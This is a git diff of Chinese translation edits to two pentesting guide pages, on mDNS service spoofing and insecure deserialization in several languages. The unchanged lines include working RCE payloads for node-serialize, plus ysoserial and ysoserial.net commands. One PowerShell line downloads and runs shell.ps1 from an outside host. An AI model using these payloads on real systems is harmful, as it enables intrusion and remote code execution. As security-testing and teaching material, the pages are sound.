diff --git a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md index abe2afe3a..e0258e9af 100644 --- a/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md +++ b/src/network-services-pentesting/5353-udp-multicast-dns-mdns.md @@ -12,7 +12,7 @@ PORT STATE SERVICE 关键协议细节,您在攻击中经常利用: - .local 区域中的名称通过 mDNS 解析。 - QU(查询单播)位可能请求单播回复,即使对于多播问题。 -- 实现应忽略未从本地链路源发的包;一些栈仍然接受它们。 +- 实现应忽略未从本地链路源发的包;一些堆栈仍然接受它们。 - 探测/公告强制唯一的主机/服务名称;在这里干扰会造成 DoS/“名称占用”条件。 ## DNS-SD 服务模型 @@ -69,9 +69,9 @@ sudo python3 pholus3.py -afre -stimeout 1000 ### 服务欺骗和冒充 (MitM) 冒充广告的 DNS-SD 服务(打印机、AirPlay、HTTP、文件共享),迫使客户端连接到您。这在以下情况下特别有用: -- 通过伪装 _ipp._tcp 或 _printer._tcp 捕获文档。 +- 通过欺骗 _ipp._tcp 或 _printer._tcp 捕获文档。 - 引诱客户端连接到 HTTP/HTTPS 服务以收集令牌/ cookies 或传递有效载荷。 -- 在 Windows 客户端与伪装服务协商身份验证时结合 NTLM 中继技术。 +- 在 Windows 客户端与伪造服务协商身份验证时结合 NTLM 中继技术。 使用 bettercap 的 zerogod 模块(mDNS/DNS-SD 欺骗者/冒充者): ```bash @@ -111,8 +111,8 @@ sudo bettercap -iface -eval "zerogod.discovery on" ``` HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD) ``` -- 在受管环境中,禁用内置的“mDNS (UDP-In)”Windows Defender防火墙规则(至少在域配置文件上),以防止入站mDNS处理,同时保留家庭/漫游功能。 -- 在较新的Windows 11版本/GPO模板上,使用策略“计算机配置 > 管理模板 > 网络 > DNS客户端 > 配置多播DNS (mDNS) 协议”,并将其设置为禁用。 +- 在受管理的环境中,禁用内置的“mDNS (UDP-In)”Windows Defender防火墙规则(至少在域配置文件上),以防止入站mDNS处理,同时保留家庭/漫游功能。 +- 在较新的Windows 11版本/GPO模板中,使用策略“计算机配置 > 管理模板 > 网络 > DNS客户端 > 配置多播DNS (mDNS) 协议”,并将其设置为禁用。 - Linux (Avahi): - 在不需要时锁定发布:设置`disable-publishing=yes`,并在`/etc/avahi/avahi-daemon.conf`中使用`allow-interfaces=` / `deny-interfaces=`限制接口。 - 考虑`check-response-ttl=yes`,并避免`enable-reflector=yes`,除非严格需要;在反射时优先使用`reflect-filters=`允许列表。 @@ -122,7 +122,7 @@ HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD ## 工具快速参考 - nmap NSE: `dns-service-discovery` 和 `broadcast-dns-service-discovery`。 -- Pholus:主动扫描,反向mDNS扫描,DoS和欺骗助手。 +- Pholus: 主动扫描,反向mDNS扫描,DoS和欺骗助手。 ```bash # 被动嗅探(超时秒数) sudo python3 pholus3.py -stimeout 60 @@ -133,7 +133,7 @@ sudo python3 pholus3.py --request # 对子网进行反向mDNS扫描 sudo python3 pholus3.py -rdns_scanning 192.168.2.0/24 ``` -- bettercap zerogod:发现、保存、广告和冒充mDNS/DNS-SD服务(见上面的示例)。 +- bettercap zerogod: 发现、保存、广告和冒充mDNS/DNS-SD服务(见上面的示例)。 ## 欺骗/中间人攻击 diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 9c6b5180a..2c5060edb 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -4,7 +4,7 @@ ## Basic Information -**序列化** 被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后的时间重新创建,保持其结构和状态。 +**序列化** 被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后时间重新创建,保持其结构和状态。 **反序列化** 则是抵消序列化的过程。它涉及将以特定格式结构化的数据重新构建回对象。 @@ -74,7 +74,7 @@ This is a test
*/ ?> ``` -如果你查看结果,你会发现当对象被反序列化时,**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意,在一些教程中,你会发现当尝试打印某个属性时会调用 **`__toString`** 函数,但显然这**不再发生**。 +如果你查看结果,你会发现当对象被反序列化时,**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意,在一些教程中,你会发现当尝试打印某个属性时,**`__toString`** 函数被调用,但显然这**不再发生**。 > [!WARNING] > 如果在类中实现了 **`__unserialize(array $data)`** 方法,则会**调用该方法而不是 `__wakeup()`**。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。 @@ -90,7 +90,7 @@ This is a test
> } > ``` -你可以在这里阅读一个解释过的 **PHP 示例**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/),这里 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 或这里 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) +你可以在这里阅读一个解释过的 **PHP 示例**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/),在这里 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 或在这里 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) ### PHP 反序列化 + 自动加载类 @@ -115,12 +115,12 @@ $o->param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` -### 防止 PHP 对象注入与 `allowed_classes` +### 使用 `allowed_classes` 防止 PHP 对象注入 > [!INFO] > 在 **PHP 7.0** 中添加了 `unserialize()` 的 **第二个参数**(`$options` 数组)的支持。在旧版本中,该函数仅接受序列化字符串,因此无法限制可以实例化哪些类。 -`unserialize()` 将 **实例化它在序列化流中找到的每个类**,除非另有说明。自 PHP 7 起,可以使用 [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) 选项来限制此行为: +`unserialize()` 将 **实例化它在序列化流中找到的每个类**,除非另有说明。自 PHP 7 起,可以使用 [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) 选项限制该行为: ```php // NEVER DO THIS – full object instantiation $object = unserialize($userControlledData); @@ -139,7 +139,7 @@ $object = unserialize($userControlledData, [ #### 真实案例:Everest Forms (WordPress) CVE-2025-52709 -WordPress 插件 **Everest Forms ≤ 3.2.2** 尝试通过一个辅助包装器来增强防御,但忘记了旧版 PHP。 +WordPress 插件 **Everest Forms ≤ 3.2.2** 尝试通过一个辅助包装器来增强防御,但忽略了旧版 PHP。 ```php function evf_maybe_unserialize($data, $options = array()) { if (is_serialized($data)) { @@ -169,13 +169,13 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"";} ### PHPGGC (ysoserial for PHP) -[**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助您生成有效载荷以滥用 PHP 反序列化。\ -请注意,在某些情况下,您 **无法在应用程序的源代码中找到滥用反序列化的方法**,但您可能能够 **滥用外部 PHP 扩展的代码。**\ -因此,如果可以,请检查服务器的 `phpinfo()` 并 **在互联网上搜索**(甚至在 **PHPGGC** 的 **gadgets** 中)一些您可以滥用的可能的 gadget。 +[**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助你生成有效载荷以滥用 PHP 反序列化。\ +请注意,在某些情况下,你 **无法在应用程序的源代码中找到滥用反序列化的方法**,但你可能能够 **滥用外部 PHP 扩展的代码。**\ +因此,如果可以,请检查服务器的 `phpinfo()` 并 **在互联网上搜索**(甚至在 **PHPGGC** 的 **gadgets** 中)一些可能的 gadget 你可以滥用。 ### phar:// 元数据反序列化 -如果您发现一个 LFI 仅仅是读取文件而不执行其中的 PHP 代码,例如使用 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 您可以尝试滥用在使用 **phar** 协议时 **读取** **文件** 时发生的 **反序列化**。\ +如果你发现一个 LFI 只是读取文件而不执行其中的 PHP 代码,例如使用像 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 你可以尝试滥用在使用 **phar** 协议时 **读取** **文件** 时发生的 **反序列化**。\ 有关更多信息,请阅读以下帖子: {{#ref}} @@ -197,7 +197,7 @@ print(base64.b64encode(pickle.dumps(P()))) ``` 在检查绕过技术之前,如果您正在运行 python3,请尝试使用 `print(base64.b64encode(pickle.dumps(P(),2)))` 生成与 python2 兼容的对象。 -有关从 **pickle jails** 中逃逸的更多信息,请查看: +有关逃离 **pickle jails** 的更多信息,请查看: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ @@ -205,7 +205,7 @@ print(base64.b64encode(pickle.dumps(P()))) ### Yaml **&** jsonpickle -以下页面介绍了 **滥用不安全的 yaml 反序列化** 的技术,并以一个工具结束,该工具可用于生成 **Pickle, PyYAML, jsonpickle 和 ruamel.yaml** 的 RCE 反序列化有效负载: +以下页面介绍了 **滥用不安全的 yaml 反序列化** 的技术,并以一个可以用于生成 **Pickle, PyYAML, jsonpickle 和 ruamel.yaml** 的 RCE 反序列化有效负载的工具结束: {{#ref}} python-yaml-deserialization.md @@ -283,7 +283,7 @@ console.log("Serialized: \n" + payload_serialized) ![](<../../images/image (446).png>) -正如您在最后一段代码中看到的,**如果找到该标志**,则使用 `eval` 来反序列化函数,因此基本上**用户输入被用于 `eval` 函数内部**。 +正如您在最后一段代码中看到的,**如果找到该标志**,则使用 `eval` 来反序列化函数,因此基本上**用户输入被用于 `eval` 函数中**。 然而,**仅仅序列化**一个函数**不会执行它**,因为在我们的示例中需要某部分代码**调用 `y.rce`**,这非常**不可能**。\ 无论如何,您可以**修改序列化对象**,**添加一些括号**,以便在对象被反序列化时自动执行序列化的函数。\ @@ -295,7 +295,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er } serialize.unserialize(test) ``` -如前所述,该库将在`_$$ND_FUNC$$_`之后获取代码并将**执行它**,使用`eval`。因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后一个括号,并**仅执行一个 JS 单行代码**,如下例所示: +如前所述,该库将在`_$$ND_FUNC$$_`之后获取代码并将**执行它**,使用`eval`。因此,为了**自动执行代码**,您可以**删除函数创建**部分和最后一个括号,并**仅执行一个JS单行代码**,如下例所示: ```javascript var serialize = require("node-serialize") var test = @@ -334,7 +334,7 @@ funcster.deepDeserialize(desertest3) ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) -**serialize-javascript** 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化的数据: +**serialize-javascript** 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需要自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化的数据: ```javascript function deserialize(serializedJavascript) { return eval("(" + serializedJavascript + ")") @@ -354,9 +354,9 @@ var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" deserialize(test) ``` -**有关更多信息,请阅读此来源**[ **更多信息读这个源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**有关更多信息,请阅读此来源**[ **更多信息请阅读此来源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** -### Cryo library +### Cryo 库 在以下页面中,您可以找到有关如何滥用此库以执行任意命令的信息: @@ -365,16 +365,16 @@ deserialize(test) ## Java - HTTP -在Java中,**反序列化回调在反序列化过程中执行**。攻击者可以利用这一执行过程,通过构造恶意有效负载来触发这些回调,从而导致潜在的有害操作执行。 +在 Java 中,**反序列化回调在反序列化过程中执行**。攻击者可以利用这一执行过程,通过构造恶意有效负载来触发这些回调,从而导致潜在的有害操作执行。 -### Fingerprints +### 指纹 -#### White Box +#### 白盒 -要识别代码库中潜在的序列化漏洞,请搜索: +要识别代码库中的潜在序列化漏洞,请搜索: - 实现了 `Serializable` 接口的类。 -- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshare` 函数。 +- 使用 `java.io.ObjectInputStream`、`readObject`、`readUnshared` 函数。 特别注意: @@ -385,16 +385,16 @@ deserialize(test) - `ObjectInputStream.readUnshared`。 - 一般使用 `Serializable`。 -#### Black Box +#### 黑盒 对于黑盒测试,寻找特定的 **签名或“魔法字节”**,以表示来自 `ObjectInputStream` 的 Java 序列化对象: -- 十六进制模式: `AC ED 00 05`。 -- Base64 模式: `rO0`。 +- 十六进制模式:`AC ED 00 05`。 +- Base64 模式:`rO0`。 - HTTP 响应头中 `Content-type` 设置为 `application/x-java-serialized-object`。 -- 表示先前压缩的十六进制模式: `1F 8B 08 00`。 -- 表示先前压缩的 Base64 模式: `H4sIA`。 -- 扩展名为 `.faces` 的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查,如在 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md) 中所述。 +- 表示先前压缩的十六进制模式:`1F 8B 08 00`。 +- 表示先前压缩的 Base64 模式:`H4sIA`。 +- 具有 `.faces` 扩展名的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查,如在 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md) 中所述。 ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s ``` @@ -404,32 +404,32 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA #### 白盒测试 -你可以检查是否安装了任何已知存在漏洞的应用程序。 +你可以检查是否安装了任何已知漏洞的应用程序。 ```bash find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` -您可以尝试**检查所有已知的易受攻击库**,并且[**Ysoserial**](https://github.com/frohoff/ysoserial)可以提供利用。或者您可以检查[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)上指示的库。\ +您可以尝试**检查所有已知的易受攻击库**,并且[**Ysoserial**](https://github.com/frohoff/ysoserial)可以提供利用。或者您可以检查[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)中指示的库。\ 您还可以使用[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)搜索可能被利用的gadget链。\ 运行**gadgetinspector**(构建后)时,不必在意它所经历的大量警告/错误,让它完成。它会将所有发现写入_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_。请注意,**gadgetinspector不会创建利用,并且可能会指示误报**。 #### 黑盒测试 -使用Burp扩展[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md),您可以识别**可用的库**(甚至版本)。有了这些信息,选择一个有效载荷来利用漏洞可能会**更容易**。\ -[**阅读此文以了解更多关于GadgetProbe的信息**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\ +使用Burp扩展[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md),您可以识别**哪些库可用**(甚至包括版本)。有了这些信息,选择一个有效载荷来利用漏洞可能会**更容易**。\ +[**阅读此文以了解更多关于GadgetProbe的信息**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ GadgetProbe专注于**`ObjectInputStream`反序列化**。 使用Burp扩展[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner),您可以**识别可被ysoserial利用的易受攻击库**并**利用**它们。\ [**阅读此文以了解更多关于Java Deserialization Scanner的信息。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。 -您还可以使用[**Freddy**](https://github.com/nccgroup/freddy)来**检测Burp中的反序列化**漏洞。此插件将检测**不仅是`ObjectInputStream`**相关的漏洞,还**包括**来自**Json**和**Yml**反序列化库的漏洞。在主动模式下,它将尝试使用延迟或DNS有效载荷来确认它们。\ +您还可以使用[**Freddy**](https://github.com/nccgroup/freddy)来**检测Burp中的反序列化**漏洞。此插件将检测**不仅是`ObjectInputStream`**相关的漏洞,还**包括**来自**Json**和**Yml**反序列化库的漏洞。在主动模式下,它将尝试使用sleep或DNS有效载荷确认这些漏洞。\ [**您可以在这里找到有关Freddy的更多信息。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) **序列化测试** -并非所有内容都与检查服务器是否使用任何易受攻击库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**(可能授予您在web应用程序中的管理员权限)。\ -如果您发现一个java序列化对象被发送到web应用程序,**您可以使用**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**以更人性化的格式打印发送的序列化对象**。知道您发送了哪些数据将更容易修改它并绕过某些检查。 +并不是所有的事情都与检查服务器是否使用了任何易受攻击的库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**(可能授予您在web应用程序中的管理员权限)。\ +如果您发现一个java序列化对象被发送到web应用程序,**您可以使用**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **以更人性化的格式打印发送的序列化对象**。知道您发送了哪些数据将更容易修改它并绕过某些检查。 ### **利用** @@ -482,9 +482,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb # Base64 encode payload in base64 base64 -w0 payload ``` -在为 **java.lang.Runtime.exec()** 创建有效负载时,您 **不能使用特殊字符**,如 ">" 或 "|" 来重定向执行的输出,不能使用 "$()" 来执行命令,甚至不能 **通过空格** 分隔 **传递参数** 给命令(您可以执行 `echo -n "hello world"`,但不能执行 `python2 -c 'print "Hello world"'`)。为了正确编码有效负载,您可以 [使用这个网页](http://www.jackson-t.ca/runtime-exec-payloads.html)。 +在为 **java.lang.Runtime.exec()** 创建有效负载时,您 **不能使用特殊字符**,如 ">" 或 "|" 来重定向执行的输出,不能使用 "$()" 来执行命令,甚至不能 **通过空格分隔** 来传递参数(您可以执行 `echo -n "hello world"`,但不能执行 `python2 -c 'print "Hello world"'`)。为了正确编码有效负载,您可以 [使用这个网页](http://www.jackson-t.ca/runtime-exec-payloads.html)。 -请随意使用下一个脚本来创建 **所有可能的代码执行** 有效负载,适用于 Windows 和 Linux,然后在易受攻击的网页上测试它们: +请随意使用下一个脚本来创建 **所有可能的代码执行** 有效负载,适用于 Windows 和 Linux,然后在易受攻击的网页上进行测试: ```python import os import base64 @@ -555,7 +555,7 @@ Java在各种目的上使用了大量的序列化,例如: #### Transient objects -一个实现了`Serializable`的类可以将类内任何不应该被序列化的对象实现为`transient`。例如: +一个实现了`Serializable`的类可以将类内任何不应该被序列化的对象实现为`transient`。例如: ```java public class myAccount implements Serializable { @@ -564,7 +564,7 @@ private transient double margin; // declared transient ``` #### 避免序列化需要实现 Serializable 的类 -在某些 **对象必须实现 `Serializable`** 接口的场景中,由于类层次结构,存在无意反序列化的风险。为防止这种情况,确保这些对象不可反序列化,通过定义一个始终抛出异常的 `final` `readObject()` 方法,如下所示: +在某些 **对象必须实现 `Serializable`** 接口的场景中,由于类层次结构,存在意外反序列化的风险。为防止这种情况,确保这些对象不可反序列化,通过定义一个始终抛出异常的 `final` `readObject()` 方法,如下所示: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); @@ -598,7 +598,7 @@ return super.resolveClass(desc); } } ``` -**使用 Java Agent 增强安全性** 提供了一种在无法修改代码时的备用解决方案。此方法主要适用于 **黑名单有害类**,使用 JVM 参数: +**使用 Java Agent 进行安全增强** 提供了一种在无法修改代码时的备用解决方案。此方法主要用于 **黑名单有害类**,使用 JVM 参数: ``` -javaagent:name-of-agent.jar ``` @@ -662,12 +662,12 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ### 利用 -所以,基本上有一**堆服务以危险的方式使用JMS**。因此,如果您有**足够的权限**向这些服务发送消息(通常您需要有效的凭据),您将能够发送**恶意对象序列化,这些对象将被消费者/订阅者反序列化**。\ +所以,基本上有**一堆服务以危险的方式使用JMS**。因此,如果您有**足够的权限**向这些服务发送消息(通常您需要有效的凭据),您可能能够发送**恶意对象序列化,这些对象将被消费者/订阅者反序列化**。\ 这意味着在此利用中,所有**将使用该消息的客户端将被感染**。 您应该记住,即使服务存在漏洞(因为它不安全地反序列化用户输入),您仍然需要找到有效的gadget来利用该漏洞。 -工具[JMET](https://github.com/matthiaskaiser/jmet)被创建用于**连接和攻击这些服务,发送多个使用已知gadget序列化的恶意对象**。这些利用将在服务仍然存在漏洞且所使用的任何gadget在易受攻击的应用程序中时有效。 +工具[JMET](https://github.com/matthiaskaiser/jmet)被创建用于**连接和攻击这些服务,发送多个使用已知gadget序列化的恶意对象**。这些利用将在服务仍然存在漏洞且所使用的gadget在易受攻击的应用程序中时有效。 ### 参考文献 @@ -678,13 +678,13 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## .Net -在.Net的上下文中,反序列化利用以类似于Java的方式操作,其中gadget被利用以在反序列化对象时运行特定代码。 +在.Net的上下文中,反序列化利用以类似于Java的方式操作,其中gadget被利用在反序列化对象时运行特定代码。 ### 指纹 #### 白盒 -应检查源代码中是否存在以下情况: +应检查源代码中是否存在以下内容: 1. `TypeNameHandling` 2. `JavaScriptTypeResolver` @@ -705,7 +705,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md - **`--gadget`**用于指示要滥用的gadget(指示在反序列化期间将被滥用以执行命令的类/函数)。 - **`--formatter`**,用于指示序列化利用的方法(您需要知道后端使用哪个库来反序列化有效负载,并使用相同的库进行序列化) -- **`--output`**用于指示您是否希望以**原始**或**base64**编码的形式获得利用。_请注意,**ysoserial.net**将使用**UTF-16LE**(Windows上默认使用的编码)对有效负载进行**编码,因此如果您从Linux控制台获取原始数据并仅对其进行编码,可能会遇到一些**编码兼容性问题**,这将阻止利用正常工作(在HTB JSON框中,有效负载在UTF-16LE和ASCII中均有效,但这并不意味着它总是有效)。_ +- **`--output`**用于指示您是否希望以**原始**或**base64**编码的形式获得利用。_请注意,**ysoserial.net**将使用**UTF-16LE**(Windows上默认使用的编码)对有效负载进行**编码**,因此如果您从Linux控制台获取原始数据并仅对其进行编码,可能会遇到一些**编码兼容性问题**,这将阻止利用正常工作(在HTB JSON框中,有效负载在UTF-16LE和ASCII中均有效,但这并不意味着它总是有效)。_ - **`--plugin`**ysoserial.net支持插件以制作**特定框架的利用**,如ViewState #### 更多ysoserial.net参数 @@ -732,7 +732,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. #Create exploit using the created B64 shellcode ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` -**ysoserial.net** 还有一个 **非常有趣的参数**,可以更好地理解每个漏洞是如何工作的: `--test`\ +**ysoserial.net** 还有一个 **非常有趣的参数**,可以帮助更好地理解每个漏洞是如何工作的: `--test`\ 如果你指定这个参数,**ysoserial.net** 将 **在本地尝试** 该 **漏洞,** 这样你可以测试你的有效载荷是否能正确工作。\ 这个参数很有帮助,因为如果你查看代码,你会发现像以下这样的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java @@ -760,7 +760,7 @@ return obj; } ``` 在**之前的代码中存在可被利用的漏洞**。因此,如果您在 .Net 应用程序中发现类似的内容,这意味着该应用程序可能也存在漏洞。\ -因此,**`--test`** 参数使我们能够了解**哪些代码块易受** **ysoserial.net** 创建的反序列化漏洞的影响。 +因此,**`--test`** 参数使我们能够理解**哪些代码块易受** **ysoserial.net** 创建的反序列化漏洞的影响。 ### ViewState @@ -775,7 +775,7 @@ return obj; - **避免使用带有 `JavaScriptTypeResolver` 的 `JavaScriptSerializer`。** - **限制可以被反序列化的类型,** 理解 .Net 类型的固有风险,例如 `System.IO.FileInfo`,它可以修改服务器文件的属性,可能导致拒绝服务攻击。 - **对具有风险属性的类型保持谨慎,** 如 `System.ComponentModel.DataAnnotations.ValidationException` 及其 `Value` 属性,可能会被利用。 -- **安全地控制类型实例化,** 以防止攻击者影响反序列化过程,使得即使是 `DataContractSerializer` 或 `XmlSerializer` 也变得脆弱。 +- **安全地控制类型实例化,** 防止攻击者影响反序列化过程,使得即使是 `DataContractSerializer` 或 `XmlSerializer` 也变得脆弱。 - **使用自定义 `SerializationBinder` 实现白名单控制**,适用于 `BinaryFormatter` 和 `JSON.Net`。 - **保持对已知不安全反序列化工具的了解,** 确保反序列化器不实例化此类类型。 - **将潜在风险代码与具有互联网访问权限的代码隔离,** 以避免将已知工具暴露给不可信的数据源,例如 WPF 应用程序中的 `System.Windows.Data.ObjectDataProvider`。 @@ -873,14 +873,14 @@ puts Base64.encode64(payload) ### Ruby .send() 方法 -正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的,如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法,该方法允许 **调用对象的任何其他方法**,并使用任何参数。 +正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的,如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法,该方法允许 **调用对象的任何其他方法**,并带有任何参数。 例如,调用 eval 然后将 ruby 代码作为第二个参数将允许执行任意代码: ```ruby .send('eval', '') == RCE ``` 此外,如果只有一个参数被攻击者控制,如前面的写作中提到的,可以调用对象的任何**不需要参数**或其参数具有**默认值**的方法。\ -为此,可以枚举对象的所有方法以**找到满足这些要求的一些有趣方法**。 +为此,可以枚举对象的所有方法,以**找到满足这些要求的一些有趣方法**。 ```ruby .send('') @@ -904,19 +904,19 @@ candidate_methods.length() # Final number of methods=> 3595 ``` ### Ruby 类污染 -检查如何可能 [污染 Ruby 类并在此处滥用它](ruby-class-pollution.md)。 +检查如何可能 [污染 Ruby 类并在这里滥用它](ruby-class-pollution.md)。 ### Ruby _json 污染 -当发送一些不可哈希的值(如数组)时,它们将被添加到一个名为 `_json` 的新键中。然而,攻击者也可以在请求体中设置一个名为 `_json` 的值,包含他希望的任意值。然后,如果后端例如检查一个参数的真实性,但又使用 `_json` 参数执行某些操作,则可能会发生授权绕过。 +当发送一些不可哈希的值如数组时,它们将被添加到一个名为 `_json` 的新键中。然而,攻击者也可以在请求体中设置一个名为 `_json` 的值,包含他希望的任意值。然后,如果后端例如检查一个参数的真实性,但又使用 `_json` 参数执行某些操作,则可能会发生授权绕过。 在 [Ruby _json 污染页面](ruby-_json-pollution.md) 中查看更多信息。 ### 其他库 -此技术取自[ **这篇博客文章**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。 +此技术取自 [**这篇博客文章**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。 -还有其他 Ruby 库可以用来序列化对象,因此可以被滥用以在不安全的反序列化期间获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库中的方法(基本上是滥用以获取 RCE 的函数): +还有其他 Ruby 库可以用来序列化对象,因此可以被滥用以在不安全的反序列化过程中获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库的方法(基本上是滥用以获取 RCE 的函数):
输入数据类内部启动方法
Marshal (Ruby)二进制_load
OjJSONhash(类需要作为键放入哈希(映射)中)
OxXMLhash(类需要作为键放入哈希(映射)中)
Psych (Ruby)YAMLhash(类需要作为键放入哈希(映射)中)
init_with
JSON (Ruby)JSONjson_create([查看关于 json_create 的说明](#table-vulnerable-sinks))
